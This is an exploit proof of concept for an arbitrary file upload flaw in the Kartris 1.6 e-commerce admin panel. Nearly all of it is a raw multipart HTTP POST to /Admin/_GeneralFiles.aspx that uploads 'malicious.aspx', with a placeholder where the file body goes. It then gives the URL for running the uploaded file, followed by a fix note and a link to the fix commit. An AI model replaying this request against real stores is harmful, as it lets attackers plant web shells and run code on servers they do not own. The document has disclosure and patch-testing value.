# Exploit Title: Kartris 1.6 - Arbitrary File Upload
# Dork: N/A
# Date: 2020-05-08
# Exploit Author: Nhat Ha - Sun CSR
# Vendor Homepage: https://www.cactusoft.com/
# Software Link: https://www.kartris.com/
# Version: 1.6
# Category: Webapps
# Tested on: WiN10_x64/KaLiLinuX_x64
# CVE: N/A

# POC: https://localhost/Admin/_GeneralFiles.aspx
#
POST /Admin/_GeneralFiles.aspx HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
Firefox/76.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------9604487443072642880454762058
Content-Length: 18484
Origin: 192.168.1.1
Connection: close
Referer: https://192.168.1.1/Admin/_GeneralFiles.aspx
Cookie: __cfduid=d1e56d596943226c869a1186e06b8d8661588757096;
ASP.NET_SessionId=abbnm4jh04wmdbl2gukr5t5w;
KartrisBasket870c8=s=7i7lpj21819; KartrisBackAuth870c8=xxxxxxxxxxxxx
Upgrade-Insecure-Requests: 1

-----------------------------9604487443072642880454762058
Content-Disposition: form-data; name="scrManager_HiddenField"

;;AjaxControlToolkit, Version=4.1.7.123, Culture=neutral,
PublicKeyToken=28f01b0e84b6d53e:en-GB:57898466-f347-4e5c-9527-24f201596811:475a4ef5:5546a2b:d2e10b12:effe2a26:37e2e5c9:1d3ed089:751cdd15:dfad98a5:497ef277:a43b07eb:3cf12cf1;
-----------------------------9604487443072642880454762058
Content-Disposition: form-data;
name="_UC_CategoryMenu_tvwCategory_ExpandState"

cccccccccc
-----------------------------9604487443072642880454762058
Content-Disposition: form-data;
name="_UC_CategoryMenu_tvwCategory_SelectedNode"


-----------------------------9604487443072642880454762058
Content-Disposition: form-data;
name="_UC_CategoryMenu_tvwCategory_PopulateLog"


-----------------------------9604487443072642880454762058
Content-Disposition: form-data; name="ctl00$scrManager"


-----------------------------9604487443072642880454762058
Content-Disposition: form-data; name="ctl00$_UC_AdminSearch$txtSearch"


-----------------------------9604487443072642880454762058
Content-Disposition: form-data; name="ctl00$phdMain$hidFileNameToDelete"


-----------------------------9604487443072642880454762058
Content-Disposition: form-data; name="ctl00$phdMain$filUploader";
filename="malicious.aspx"
Content-Type: text/plain

[Content Malicious File Here ! ]

-----------------------------9604487443072642880454762058
Content-Disposition: form-data; name="ctl00$splMainPage$hdnWidth"


-----------------------------9604487443072642880454762058
Content-Disposition: form-data; name="ctl00$splMainPage$hdnMinWidth"

170px
-----------------------------9604487443072642880454762058
Content-Disposition: form-data; name="ctl00$splMainPage$hdnMaxWidth"

500px
-----------------------------9604487443072642880454762058
Content-Disposition: form-data; name="__EVENTTARGET"

ctl00$phdMain$lnkUpload
-----------------------------9604487443072642880454762058
Content-Disposition: form-data; name="__EVENTARGUMENT"


-----------------------------9604487443072642880454762058
Content-Disposition: form-data; name="__VIEWSTATE"

[encoded data, 4508 characters]
-----------------------------9604487443072642880454762058
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"

54DD7DF0
-----------------------------9604487443072642880454762058
Content-Disposition: form-data; name="__VIEWSTATEENCRYPTED"


-----------------------------9604487443072642880454762058--


# Access malicious file following the link:
https://localhost/uploads/General/malicious.aspx
# How to fix: Update the latest version
# Commit fix:
https://github.com/cactusoft/kartris/commit/e9450dc1f90aa6167f1db1a6f137ea07cacb2a5c